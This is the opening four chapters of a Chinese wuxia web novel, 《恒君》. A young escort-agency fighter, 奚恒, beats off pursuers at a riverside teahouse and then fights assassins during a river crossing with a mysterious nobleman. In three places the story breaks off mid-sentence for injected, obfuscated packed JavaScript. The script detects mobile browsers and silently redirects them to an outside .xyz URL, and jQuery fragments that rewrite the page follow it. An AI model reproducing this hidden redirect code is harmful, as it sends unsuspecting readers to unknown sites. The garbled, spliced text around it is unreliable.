《恒君》
1. 舜华
应州四月,烈日炎炎,分明是春末未夏,可单曲江南岸已是暑气初蒸,热得人心嘈乱了。
沿江小道上尘土飞扬,南来北往的草鞋锦靴踏过黄泥地面,却都不约而同地往一处门槛走去。
那门槛破烂不堪,分明两侧还上着前不久刚抹的新漆,可中间一块,已被来往的衣摆磨得凹陷下去。
茶楼立在单曲江渡头的关口上,对岸便是大名鼎鼎的槿乡镇,左右十里没有旁的店家,贩夫走卒、来往过客无不都得到这来歇歇脚。
三丈见方的大堂里挤满了人,跑堂小二裤管卷到膝下,提着茶壶来往续茶,一双破旧草鞋跑得几乎要冒烟,仍然止不住客人的呼喝,只喘着粗气暗骂这活好像怎么也干不完。
茶客间皆是笑语闲谈,桌边落满了细碎的瓜子壳,手边陶盏茶水冰凉也无甚在意,大多目光都瞥往二楼滔滔不绝的说书人身上。
“话说这槿乡镇舜华大会啊……顾名思义,是为了追思杨舜华杨老大人所办。”
那说书人须发半白,瞧着是位年逾半百的老人家,此刻聊起槿乡镇之事却格外精神抖擞:“本只是个民间文会,年轻墨客来往切磋,作些歌赋追思杨公,一日两日也便散场了,可自定春十二年,王子熙醉饮停机楼,长剑一舞惊天下……这舜华大会几十载的文墨便都黯然失色了,那四句短诗刻在停机楼上,教往后来追思杨大人的文人都不敢在他的刻字下班门弄斧。”
说到此处,说书人撩了撩胡须,眯起眼,似乎能够回想起当年:“停机楼文会一散,王子熙便失踪了,可自那之后,天下欲效仿他的人却越来越多……诗在楼中,无人敢再添一笔,可少年剑舞的佳话,却成了槿乡镇多年的传奇,每到舜华会举办的时候,五湖四海的青年人便都聚在槿乡镇,舞剑的、耍枪的、一卷水袖甩得漫天飘飞的……刀枪剑戟演着演着,便都比试起来,舜华大会也就从文会变成了武会。”
“这武会一办,原本的彩头《舜华诗集》也就不够看了,瞧着这舜华会势头越来越大,便由槿乡官府出面,定下了三十金的奖赏,而后每届都有些世家贵人来添些彩头……而今这一届的添彩世家却有一个极特殊的。”
说书人语音一顿,刻意卖了个关子。
他朝下问道:“各位可都听说了?”
堂中人顿时交头接耳起来。
“是听说,今年那北相的杨家人也添了彩头。”
“北相?北相的世家掺和咱们南齐的武会做什么?”
“你没听着人家姓杨?跟咱杨老大人同宗呗。当年杨老大人有一胞兄名为杨棣,先朝战乱四起的时候,哥哥杨棣带着族人投奔了北相,弟弟杨槿……也就是咱们杨老大人,当年不慎走丢,阴阳差错地被当初还没起兵的武帝收留了……”
“那北相的杨家这意思是……”
“应当是瞧着前些年杜家南迁,心痒了,想借着舜华大会试试水……”
“不对啊……这往年舜华会彩头都是瞒到最后一天才公布的,怎的今年倒是人尽皆知了?”
见场下人皆议论的差不多,说书人这才重新开口:“这北相国的杨氏,今年添了个重磅……”
“咚!”
茶楼大门被人重力踹开,说书人的话顿时被卡在嗓子眼里。
这老先生被晚辈捧惯了,向来不喜欢说话遭人打断,此刻酝酿的氛围都被这几名不速之客给搅了,霎时便怒从心起,张口欲骂。
可门前掌柜的眼神却阻止了他。
来者皆着劲装武服,各个瞧着是灰头土脸,可眼里的精光和鼓囊的太阳穴无不在告诉张掌柜,这些人都是高手。
张掌柜暗中向说书人摇了摇头,他是个极为精明的,平日来往的茶客张张嘴,他便能知道对方兜里有几个子,此刻看着门外的几人,却不敢有丝毫怠慢。
他半点不敢计较自家被踹坏的大门,赔笑着上前:“各位客官,是要喝茶还是……”
那几名武夫极为冷淡,根本不理会掌柜的殷勤,只一把推开他来到堂中,左右环顾。
那几人力道极大,推得掌柜接连退数步,搀着桌子才堪堪没有倒下。
可他心底的怒气半点也不敢表现出来,仍旧扯着笑脸上前问道:“各位客官是来找人的?”
他瞧出来了,这些人训练有素、眼神如鹰,打进门起视线便将楼中上下角落都扫了个遍,倒像是来抓人的。
听了掌柜的话,武夫中为首一人这才转过头来:“有没有见过一个身形瘦高的丫头?”
掌柜闻言松了口气,摇头道:“没见过。”
那武夫见他斩钉截铁,显然不太信他说的话,他遣人上楼查看,目光又看向掌柜,审视道:“你确定?”
掌柜笑道:“若说旁的男女老少,我张某人还不一定记得清楚,可您要问的是个姑娘……咱这茶馆都是些粗人,十天半月都难见个女人,要有小姑娘,来了我肯定有印象,就算我记性差,这些老客肯定也都清楚,咱这茶楼里来没来过姑娘。”
他说完便转头看向茶楼众人。
顿时便有人应和道:“老张这破地方风水不好!来的净是些大老粗,若有美娇娘想喝茶,肯定都往对岸的去了!大爷你找错地方了!”
语罢,茶楼众人便都哄笑起来,笑着调侃张掌柜:“我就说前些日子那小娘子来讨饭你就该给人留在楼中,这会也好有小娘子给这几位爷不是?”
这些人越说越离谱,听得武夫直皱眉头,张掌柜暗道不妙,忙喝止那几名开腔的,转头对着武夫道:“您别见怪,咱这地多是些码头做工的粗人,嘴上没个把门,前几日是有个娘子来上门来求收留,但她拖家带口的,不像您说的那位姑娘。”
“不是姑娘,是个丫头!”
武夫已经有些不耐烦,说话间已经有些咬牙切齿:“瞧着十四五岁的样子,衣着破烂、形迹疯癫,打眼一看像个乞丐,身量和你店里的小二差不多,也容易认成个小子,你就一点印象都没有?”
掌柜被他恼怒的样子吓住,但仍茫然道:“我这是真没见过……”
刚刚被派去二楼人下来,只神情凝重地向为首的人摇了摇头。
这是没找到了。
见无所获,为首的武夫牙关紧咬,喷出的鼻息似乎都带了火气:“走吧。”
掌柜见他们要走,连忙俯身作揖:“欸,恭送几位客官,欢迎下次……”
吉祥话还没说出口,那一行人便已经离开,临走前还不忘在摇摇欲坠的大门上再补一脚。
“砰——”
大门再受重击,摆了几个来回后终于不堪委屈,轰然倒地,一如掌柜的脸面。
见人走远,堂中人又哄笑起来:“哎哟,老张,难得啊,看你这么吃瘪。”
“可别说了,人裤子都要吓尿了,哈哈哈哈哈……”
张掌柜脸色铁青道:“你们懂个屁,这几个都是练家子,一个打你们十个都没问题,不是寻常人得罪的起的。”
见那些人又要开始起哄,张掌柜抬头看了眼二楼的说书人,示意他继续,也好分一分这些人的注意。
说书人见状,抓着醒木往桌上拍了拍:“欸……各位客官,回神了。”
张掌柜在这块是有些背景的,旁人也不敢真的将玩笑开太过,是以大多借坡下驴安静下来。
说书人这才满意地捋了捋胡须:“据可靠消息称,这杨氏给的彩头啊,是当年北相国师代月明的遗物。”
堂中霎时嘈杂了一瞬。
有人问道:“是北相那个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956689|177629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
代?”
说书人点了点头。
一楼瞬间就炸了锅。
北相国的三朝元老,生前一手建立北相谍网的人,他的遗物会是什么东西?
所有人都想到代月明死前那句遗言:“此物,得之可令天下一心。”
这话就差没把“得之可得天下”明说了。
“真要是代月明遗物,他们怎会送到咱们这来当彩头?”
“也难说……焉知不是给我齐国的投名状?北相这几年新党越发势大,他们这些汉人士族可不好过,想着南迁也是正常,我听说……京中也得了消息,陛下都惊动了……”
“不可能吧……”
众人如同炉上鼎沸的开水一般争论不休,却忽然有人注意到问题的关键所在。
“那北相就任由他们往咱们这送?”
“自然不会。”
说书人摇摇头道:“打这代月明遗物的消息走漏出来,北相的拦截便从未停过,但……这次送货的镖局,乃是大名鼎鼎的云奎……”
“吱——”
一声极为刺耳的摩擦声从门外传来,硬生生将说书人的话头割断。
说书人顿了顿,无视掉噪音继续道:“云奎镖局的实力,想必诸位都有所耳闻了,可谓是出手必达,极为靠谱……”
“吱——”
又是一声酸得人掉牙的摩擦声。
茶客们纷纷静了下来,疑惑着往外看了一眼。
门外似乎有人在拉二胡。
“吱,吱——”
那人似乎终于准备好,抬起手来开始抽拉着演奏。
霎时间天地鬼神都为之惊泣,那二胡一声一声,时叫时哑,仿佛锈锯摩擦着头骨,拖着众人往十八层地狱里去。
偏偏奏乐的人极为沉醉,抓着二胡摇头晃脑,手中推拉不停。
说书人眉心直跳,只觉得自己死了三年的二舅爷要从棺材里爬出向他索命来了。
“真是天杀的……”
张掌柜今日本就受了一肚子气没处撒,此刻听了这惨绝人寰“仙乐”更是压不住自己满腔的怒火,抄起门口的扫把就冲了出去:“你个死老头!平日好好拉,我让你们父女在这卖艺也就算了,今个儿这是要做什么!非得在这大好的天砸我老张的场?”
可等张掌柜赶出去,却见平日拉二胡的瞎眼老头站在一旁手足无措,而他的板凳上,正坐着个身形修长的少年。
那少年头顶草帽身着麻裳,腰后挂着把烂木刀鞘,那刀鞘惨不忍睹,都能让人看见鞘中雪亮的刀身,那长刀跟着少年的动作,一晃一晃敲在竹制凳腿上,好不惬意。
像是没察觉到张掌柜的靠近,少年依旧翘着二郎腿,手把着二胡,沉醉在音乐的汪洋之中无法自拔。
“衣着破烂、形迹疯癫……”
不知怎的,张掌柜忽然就想起那几人说的话。
他警惕起来,收起扫把往后退去,正纠结着要不要多管闲事,抬头便看见那几名循着二胡声赶来的武夫。
惨烈的弦声慢慢停息,少年草帽下紧闭的双眼也终于舍得睁开。
她抬起头,冲着那几名面色青黑的武夫勾唇一笑,面容终于展露在阳光之下。
破烂的帽檐下眉梢鼻梁仿若经名家雕刻,纵是肤色微深也难掩丽质,反给她多添了野性,漫不经心的姿态衬得整个人更居高临下,像极了西洋画里的虎豹。
张掌柜没见过样的小姑娘,一时间呆了呆。
谁料这姑娘一张嘴便将他心里徐徐升起的滤镜摔了个稀碎。
“我当是千年的王八不伸头。”
奚恒慢条斯理地将二胡靠在一边的墙上,盯着那几个人高马大的武夫,嘲讽道:“你们要装死装一辈子呢。”
2. 成精
面前的几人始终不语,但他们头上青筋已经替他们讲话了。
打从续州起,他们就没睡过一次安稳觉,不是被引进谷仓当贼打、就是遭丐帮纠缠浑身上下被洗劫一空。
让奚恒戏耍了一路,他们显然是忍到了极限。
一旁的张掌柜腿肚子都打哆嗦了。
奚恒却似还嫌对方不够愤怒,笑道:“怎么?真打算目送我过河?回去能交差吗?”
“哦,不对。”
她双手撑起,伸个懒腰,像是想起了什么,上下打量了眼面前的武夫,眉梢眼角尽是恶劣:“身上的钱够你们回程吗?”
“哗——”
为首的人忍无可忍,终于出手,冲拳直往奚恒面上撞去。
他早看这死丫头不爽了,今天非得给她点教训。
可一拳下去,预想中的画面并没出现。
奚恒依旧稳坐在板凳上,单手握住面前的拳头,纹丝不动。
她依旧嬉皮笑脸,歪过头道:“出手前至少得报上自家名号吧?”
武夫想收手却做不到,登时大怒,俯身摆腿欲将奚恒击倒在地。
可他腿还没伸出去便被蹬住,与此同时小臂处传来钻心的剧痛。
奚恒面不改色地将手里的拳头往反向折去。
无视武夫的惨叫声,她笑容渐淡:“你们是哪家的狗,敢跟我云奎的镖?”
这一路辛苦,几个武夫被奚恒折腾惨了,可她又何尝不是?
不知是哪个天杀的走漏消息,一个十天能完成的信标被一群人盯上,沿路的拦截追杀,如今快要到期限了她还在这里处理尾巴。
奚恒实在搞不懂,就那么薄薄一个信封,何至于十几波人轮番来抢?
思及此处,她愈发恼火,一想到自己这几日吃不饱、睡不好,像村里的野狗一样被人撵着到处跑就来气。
奚恒越不爽,手上的力道自然就越大。
“啊——”
武夫的小臂几乎被折断,霎时疼得哭爹喊娘,直吼着同行人来帮忙。
耳畔拳风呼至,奚恒沉肩侧首,一个用力便拧着手中的胳膊往前推去,而后俯身躲过斜后一拳,借势向前翻滚,落地扫堂腿顺势而出,将冲过来的几人摔倒在地。
“咔嚓”为首的武夫胳膊被彻底掰断,霎时面色青白,疼晕过去。
张掌柜见眼前的小丫头三两息内便将几名大汉撂倒,登时惊得合不拢嘴,暗自庆幸方才没把扫把砸到她头上去。
他摇摇头,趁他们还没注意到自己,连忙蹑着手脚茶楼退去。
可奚恒还是叫住了他:“站着。”
张掌柜顿时面上一紧,抱着扫把瑟缩着回头道:“女……女侠可有吩咐?”
“懂不懂尊老爱幼?”
奚恒一脚踹开边上扑来的壮汉,冲墙角站着的瞎老头扬了扬下巴:“不给这老人家扶进去?”
张掌柜没想到方才还抢老头板凳的人,这会竟还跟他提尊老爱幼。
他唇角抽了抽,可也不敢多说些什么,连连点头称是,赶到院外抓起老头就往回赶。
奚恒躲过边上劈下的掌风,回身将人摔过肩去,嘴里还不忘提醒道:“二胡。”
张掌柜嘴里暗骂一句,而后又老实地小步赶到院外,抓起二胡跟板凳就往回跑,生怕奚恒又找他麻烦。
街上的人都跑了个干净,奚恒这才放开了手脚,对着朝自己挥拳的人残忍一笑。
行镖运镖不可见血,老窦总让她遇事要忍。
她这被人追了一路,临到要交差了,找几个不长眼的撒撒火应该没问题吧。
边上三人围攻,奚恒抬手护头扛过一拳后深吸口气,一把抽下背后刀鞘,反手向来人砸去。
“啪!”
本就烂得没眼看的木鞘甩到面前人脸上,顷刻间又添一条纹路。
街上局势瞬间逆转,奚恒单手执鞘,不像被人合围,倒像是她一人对着数名大汉围追堵截,不过半炷香便让所有人都趴在地上再无还手之力。
茶楼内扒着门偷看的茶客不自觉都倒吸了口凉气:“……这哪来的丫头这么厉害?”
张掌柜摇摇头:“我听她自报家门,好像是……云奎。”
“云奎?”
“那岂不是彩头就在她身上?”
“瞧你这话说的,在她身上你敢去抢?就算你武艺高强抢到了,也不怕云奎镖局找你麻烦。”
云奎镖局在江湖的地位众人都有所耳闻,霎时噤了声。
半晌后才有人道:“也是稀奇了,如今竟有人敢劫云奎的镖……”
“许是看走镖的是个小姑娘吧,这云奎也真是心大,这般重要的任务,给一个姑娘……”
“咔!”
习武之人耳力极佳,茶楼里的言论自然传进了奚恒的耳朵里。
她面无表情,脚下用力又踩断一根骨头,惹得地上的人鬼哭狼嚎。
“松腿吧……松腿吧……姑奶奶我服了……”
这是最后一波人了,舜华会还有三日才开始,过了河就能完成任务,可不知怎的,奚恒心中没有半点重担卸下的喜悦。
她冷着脸,抬脚将边上人踢开:“滚。”
那几人顿时不顾伤情,连滚带爬着逃了。
“……小姑娘……”
奚恒嘴里细细咀嚼着这几个字,不咸不淡地往茶楼里望了一眼。
见里边的人都闭了嘴,她才冷哼一声,转身离开。
街上的人早已被方才的打斗吓得散场,只有细微的风声簌簌,奚恒倒是乐得自在,将刀鞘穿回身后,往码头方向赶去。
“女……女侠……”
此时却有一细弱的女声叫住了她。
奚恒转过头,这才发现街角还缩着个外族女人。
行走江湖多年的敏感让奚恒心里响起警铃,她不自觉皱了皱眉头,但还是站定脚步回身:“何事?”
那女人身形瘦弱,眼神怯懦地望着奚恒,嘴里说着瞥脚的官话:“我……我能……你能带我……”
奚恒急着去码头,加之心情不佳,便直接问道:“你想要什么?”
那女人霎时脸便红了,深吸口气,扑通一声跪下开始磕头:“奴叫庄娘,想求女侠……求女侠借些银子罢……”
看着女人衣衫破旧,奚恒料到她会这样说,也没多想,从怀中取出个荷包,倒出几粒白银来。
庄娘没注意到奚恒的动作,依旧低头自顾自地继续哭诉着:“奴……奴实在没办法了,方才那拉二胡的是奴阿爷……大夫说他命不久……奴还带着个病弱的妹妹……实在没钱下葬了……”
听着庄娘的泣声,奚恒倒银子的手一顿,望着庄娘眉心微皱,像在考察她话语的真实性。
庄娘见状,连忙磕了几个响头:“女侠……女侠……求您……”
“行了。”
奚恒暗自叹息,将手里的银子都塞了回去。
她抬手将荷包甩给庄娘:“既然生病了就去治,人还活着,别老想着下葬。”
比成人拳头还大的一包银子砸到庄娘手上,压得她手一沉。
她不敢置信地抬头望向奚恒,可后者却只留给她一个背影。
“女侠……女侠……这使不得。”庄娘连忙踉跄着起身去追赶奚恒。
谁料奚恒走了两步竟真的反悔,转身来到庄娘身边。
她从庄娘手中拿过荷包,示意她伸过手来。
“哗——”
碎银悉数落下,奚恒抖着荷包碎碎念道:“这荷包不能给你,这是我妹妹绣的……”
那丫头要知道她将荷包送人不知得多难过……
沉甸甸的银块砸在手心,庄娘被这一变故惊到,看着奚恒半晌不知该说什么,只目光盈盈道:“多谢……多谢女侠……奴以后一定加倍还给您……”
奚恒自然不信她说的话,只道:“我也不知道你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956690|177629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有没有在骗我……只是这世道,女孩子在外边不容易,若真要靠招摇撞骗过活,你也一定有你的难处……这钱给你,权当我掉了,你若能守住那便好,守不住……那也是命了。我不缺这些身外之物,不求你回报,只望你往后若生存下来了,见了和你如今状况一样的人,能伸一伸手……就当是回报我了。”
听着奚恒的话,庄娘定在原地,她眼神躲闪一瞬,张张嘴,最终却还是闭上了。
奚恒望着庄娘的神情,心中又是一叹,她摇了摇头,将荷包收入怀中,又捡了一粒银子在手道:“我得留一点乘船当路费。”
语罢,便往码头方向去了。
谁料还没走多远,那道轻如苇草的声音又喊住了她。
庄娘望着奚恒的背影,咬着唇,纠结许久才开口:“女侠。”
奚恒回头,隔着漫漫黄土望着庄娘,她面露不解,似是在问“何事?”
庄娘反倒错愕了一瞬,像是没想到奚恒走了这么远还能听到自己讲话。
她顿了顿,还是开口道:“这几日码头的船都被官府征用了,午后便没有渡河的船只了,您若着急过河,只怕……”
奚恒霎时变了脸色,急切问道:“那就没别的方法过河了?”
庄娘默了默,还是开口将那人交代的话背出来:“往西走二里,茶花树后,芦苇丛中,有一船翁,每日会来往摆渡,此刻去正能赶上。”
奚恒闻言,竟半点不疑有他,只思忖一瞬,便抬手抱拳致谢,转道直往西去。
奚恒一走,庄娘顿时浑身发软,往地上瘫坐。
雪白的银子滚落一地,她望着奚恒远去的背影失神,口中喃喃道:“姑娘别怪我……”
而此西去的奚恒,正心急如焚,对庄娘的表现一无所知。
舜华大会眼看就要开了,彩头还没送到槿乡镇,今日再不过河,她不敢想会出多大乱子。
任务失败吃老窦一顿板子还好,要是害得云奎镖局在武林里丢了信誉,那她算是待不下去了,别说升任镖头,就是去后厨劈柴也留不得。
想到此处,奚恒更急了,脚下跑得飞快,三两步连轻功都用上了。
江水浮沉与日光相映,沿岸的芦苇摆荡,三两渔船轻轻驶过,江面风景宜人,乘着风往身后掠过,奚恒片刻不敢停,一路飞奔,直到茶花树映入眼帘。
岸边巨树落下阴影,山茶树深绿的圆叶平白为燥热的天气添了几分幽静,如今已过了茶花开的季节,可树上却仍藏着几枚玉盏似的白花,沉静着像是久候多时。
奚恒心不自觉静了下来,她回望江面,却发现了不对。
等等,渔船?
那庄娘不是说午后渡头便不让船只来往……
可现实容不得奚恒多想,茶花树后光影绰约,船夫支起长杆,盘好船头缆绳,显然是准备离岸了。
奚恒见状,慌忙开口喊住船夫:“等等!”
可那船夫仿若耳背一般,依旧神情悠然地抓着撑杆往水中荡去。
奚恒气极,顾不得太多,直闯过山茶树丛往船上跳去。
“咚!”
老头惊叫,船只摇晃不停,霎时雨棚都震得吱呀作响,只闻满船山茶幽芳。
奚恒抬起头,一角锦袍白得晃眼,闯入她眼帘。
“哎哟!哪里来的丫头!忒没眼色!这船已被贵人包了,你快出来!别冲撞了人家!”
外头炽日高悬,将江畔巨树的阴影投入船中,日光在那人雪白的衣袍上落下精致的纹样,方才被奚恒匆忙间卷入船舱的山茶花无声滚到他脚边,白如纱的花瓣几乎与他的衣摆融为一体。
竹编的垂帘轻摆,将船夫的气急败坏隔在外头,奚恒双眼微睁,盯着眼前人,一瞬失神,半晌不语。
面前人眉目沉静,正端坐着小憩,仿若谪仙临尘。
江畔潮热的风似乎变得清凉柔和,奚恒张张嘴,只觉得那白山茶被她摔得化形,成精了。
3. 同船
奚恒试图站起身,却一头撞上船舱顶部。
“噔咚!”
一声巨响,她又捂着脑袋蹲下身去,暗道今日忒不走运。
茶花精像是被她惊扰,本低敛的眼睑掀起,带着凉意的目光落在了奚恒脸上。
像是察觉到美人不悦,奚恒面上一窘,略有心虚地缩了缩脖子道:“抱歉,我有急事需乘船,行事仓促了些,唐突了……”
谁料茶花精又合上了眼,竟连搭理奚恒的意思都没有。
她一时起身也不是,落座也不是。
挣扎良久,她还是厚着脸皮钻出船舱,对着船夫央求道:“老伯,我有急事需往对岸,烦请搭载一程吧……”
奚恒姿态放得极低,弯着腰近乎恳求。
船夫本被奚恒的动静吓得吹胡子瞪眼,可一瞧面前眼巴巴看着自己的小姑娘,再多的责骂便也吐不出口了。
眼前人瞧着不过十五六七的年纪,五官脸型生得极为标致,皮肤却像是被风吹日晒八百年的土丘一样粗糙暗沉,破烂衣裳破烂草帽,像是乞丐堆里扒拉出来的,看着可怜极了。
船夫暗叹口气,心道不知又是谁家的闺女,小小年纪便出来闯荡,也是不易。
他摇摇头:“这船被里边的公子包了,你若想搭一程,还需他点头。”
奚恒闻言,耷拉下脑袋,硬着头皮往船舱内看去。
隔着竹帘稀疏的光影中,里边的身影纹丝不动,奚恒暗自盘算,这看起来不染尘烟的茶花精同意与她这粗人同船共渡的可能性有多大。
江水粼粼向东奔去,底下波涛暗涌几近无声,奚恒又抬头望向江对岸,心想以自己的轻功,飞掠过江有多大把握。
江心有一礁石,瞧着可以歇歇脚……
“姑娘既有需要,那便同乘吧。”
青年的声音响起,奚恒这才注意到船尾还盘坐着一人。
聂云抱着剑,抬头望了眼船中人,见他仍旧双目紧闭,没有不允的意思。
他轻声一笑,向船夫道:“时候不早了,老伯早些启程吧。”
“好嘞!”
船夫闻言,忙抄起手中竹竿,一手将奚恒往船舱推去:“小丫头去里边坐着,别在这杵着压秤。”
奚恒回过神来,忙对着船尾的人道谢,俯身钻进了船篷下。
“哗——”
撑杆入水,抵着岸边青石发力,推着船头转向破浪,向北驶去。
停滞的船终于舍得动起来,江面清风灌入,带着潮气将竹帘吹得摇摆起来,须臾便解了几分燥热。
奚恒小心翼翼地将长刀横在身后,轻声坐在茶花精的对角处,尽量不打扰到他。
可小小一艘船行驶在江面,难免摇晃颠簸。
在第四次起伏后,茶花精终于还是被颠醒了。
奚恒见他睁开眼,正准备笑着说些什么,却见这人低头望着自己的衣角出神。
那朵被她卷入船舱的花还躺在他垂地的衣袍上。
奚恒心道这人想来是有洁癖,忙俯身去拾花:“抱歉……”
谁料她弯腰的同时茶花精竟也伸了手,花没捡成不说,指尖还摸上了人家的手背。
冰凉如骨瓷般的触感传来,奚恒条件反射地缩回胳膊,正要直起身却觉得耳后一热,抬头几乎要撞上一旁低垂的头颅。
千钧一发间,她往后靠了靠,鼻尖擦着面前人的下颌而过。
霎时呼吸都乱了几分。
……
江风潮热,袭上颈间耳后,奚恒望着面前人一时失语。
完了,这下人家要更烦她了,扰人清静不说,还堂而皇之吃人豆腐,奚恒有些无力,张张唇,缓和一下气氛。
说些什么好呢?
奚恒看着茶花精神仙似的脸。
电光火石之间,她眼睛一亮,开口问道:“我们是不是在哪见过?”
“……”
船舱内静得不能再静。
茶花精的眸色愈深,盯着奚恒的眼神复杂起来,说不清是冰冷还是愤怒。
直到外边的船夫一声嗤笑:“左右俊郎都生的大众,谁上来都是一句像是见过,也都没个新鲜……”
奚恒这才反应过来自己方才的话有多欲盖弥彰,摆着手解释道:“不是……我是真觉得这位公子瞧着有些眼熟,这才出此一问,绝无唐突之意……”
此话不假,打奚恒看见此人开始,便觉得有一种熟悉感,他虽生的好看,但奚恒也绝非花痴好色之徒,行走江湖这么些年,见过的人也不少,可从未有今日这般感觉。
她自认过目不忘,确信自己见过这人,只是一时想不起来而已,是真的心存疑惑才出此一问。
可船夫调侃的笑声只让奚恒恨不得自己方才是个哑巴。
“我家公子姓萧,平日少有出门。”
还是一旁的聂云看不过去,含笑着替她解围道:“姑娘只怕认错人了。”
“哦……”
奚恒低了低头,搜肠刮肚地回忆一番,确信自己认识的人里没有这号人物,这才喃喃道:“想来是我认错了……”
“萧愈安。”
沉默的茶花精终于舍得开口,黑沉的眼眸盯着奚恒一瞬不瞬,像是在确认什么。
可奚恒没注意到他眼底的情绪,一时间还以为自己听错了:“什么?”
船尾的聂云有些惊讶地看向船舱内。
江平往后仰了仰,眼神不着痕迹地从奚恒陈旧的衣襟移到她灰蒙的眉眼处:“我叫萧愈安。”
“萧愈安……”
那种奇怪的熟悉感又回来了。
奚恒皱着眉,冥思苦想。
这名字好像在哪听过……
“哗——”
忽地一声风起,打乱了奚恒的思绪,她耳廓微动,察觉出异常,侧头望向船外,抬手扶上刀柄。
聂云也发现不对,抓着剑起身。
奚恒猫腰钻出船舱,望着平静得几乎望不到尽头的江面,眉心紧蹙。
水下有人。
“老伯。”奚恒伸手抓住船夫手中的撑杆,“借竹竿一用。”
船夫一脸莫名:“你做什么……”
“哗!”
还不及船夫说完话,船边水浪忽然暴起,数支长杆自江面传出,八名青衣人立在杆头,死死盯着奚恒。
船夫瞬间白了脸色:“这……这是哪来水鬼……”
“不是水鬼。”
奚恒神情凝重,接过船夫手中的撑杆:“但也差不多了……”
青獠,北相有名的杀手组织,招式阴毒狠辣、行踪无影,号称人间魍魉,已经十余年不在南齐境内活动了。
奚恒实在不知身上的彩头有什么特别之处,竟连他们都出动了。
可现况不容她多想,几乎是瞬息之间,三条铁索破空而至,带着要将船砸个稀烂的势头飞来。
“哗——”
拳头粗的撑杆自水中拔起,奚恒飞身落在雨篷上,横绞住袭来的铁索。
霎时整艘船都被震得往下一沉。
聂云见状,欲动身,却被江平抬手虚空按了下来。
“各位。”
奚恒单手锁住竹竿,扯着铁索不让他们收回。
她笑道:“既然是冲我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956691|177629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来的,就别砸人家的船呗。冤有头债有主,行走江湖,平添恩怨又是何必?”
那三人抓着铁索想回收,然竹竿却架在奚恒手中纹丝不动。
为首之人眯起了眼,来这趟任务的都是组织里的好手,以一当三不是问题,如今却被一个小丫头轻易绞了武器。
他抬抬手,示意所有人一起上。
奚恒也没指望他们会听自己的话,她抬手一震,甩开缠在竹杆上的铁索,向来人横扫。
“咚!咚!咚!”
竹竿挥舞破空声沉闷,顿时所有人被她甩了了一闷棍,向水中落去。
奚恒借此间隙足尖轻点,向江心掠去。
“哗——”
平静的江面被她划开,留下鱼尾似的涟漪。
青衣人当然不会任由奚恒离开,手中铁索再甩,五爪长钩向她后背抓去。
不料奚恒身形轻飘,竟点水而起,踩下铁钩借势而上,手中撑杆插入水中,一个借力再助她游移两丈,三两息内便飞上了江心石礁。
“好身法。”
聂云遥望着奚恒背影,不禁感叹道:“这云奎镖局当真藏龙卧虎,一个镖师都能有这等轻功。”
江平不语,只望着江心石礁上的身影,不知在想些什么。
青衣人却察觉到不对,面色阴沉道:“你这轻功哪里学的?”
奚恒歪歪头,唇角挂着笑意道:“你猜?”
青衣人大怒,抽出腰间软剑便绞向奚恒颈间。
淮阳鬼步,青獠的绝学,素来以踪影诡异出名,是他们的保命绝技,非门内甲等以上资质的杀手没资格学,如今却被一个不知名的镖师练了个精通。
鬼步功法一旦公之于众,他们青獠就别再想有如今地位了。
见青衣人向她袭来,奚恒神色不变,点地而跃,后掠躲开剑锋。
“哗——”
浮在江面的竹竿被她踢起,抛向空中,霎时水花飞溅,落了二人满身。
方才被奚恒击入水中的青衣人也都反应过来,踏水疾行,向她围攻而来。
杀手来势汹汹,奚恒却面不改色,双手接住落下的长杆,甩击青衣人腹部。
“啪!”
奚恒力道极大,青衣人抵抗不及被震飞出去。
然一波未平一波又起,一人被打退却有更多杀手赶来。
奚恒眉宇间带了几分杀气,沉杆入水,拖甩着扫向赶来人的下盘。
丈许长的竹竿被她舞得生风,三两招内便将来者悉数杀回江底。
远看过去,少女身形修长干练,招式极为利落,三人高的长杆在她手中上挑下落、翻飞自如,将那八名杀手死死压制在水中。
“哎哟……”
船夫几乎不敢相信自己看到的一切,惊叹道:“这丫头不得了哟……”
他在此处撑船十多年,从不知自己手中的竹竿还能这般厉害,以一当多还能压得那些人毫无还手之力。
可船尾的聂云看着奚恒手中神龙摆尾般的长杆,神情却警觉起来:“这是……枪法?”
“伏山枪。”
江平没有去看江心的情况,却接上聂云的话。
“伏山?”聂云顿时惊骇地转过头,“那此女岂不是和军中……”
说到一半,他话头止住,不敢再多说什么,只小心翼翼地瞧了眼江平的脸色。
见江平神色如常,聂云才继续道:“这云奎镖局怎会……”
“于朝中无碍便好。”
江平摩挲着掌中茶花,眉眼低垂,让人看不清他眼中神色:“眼下有更要紧的事,暂时不必管他们。”
4. 伏山
“是……”
聂云应下,不再多言。
二人说话间,江心的杀手已尽数沉入水底,再无动静。
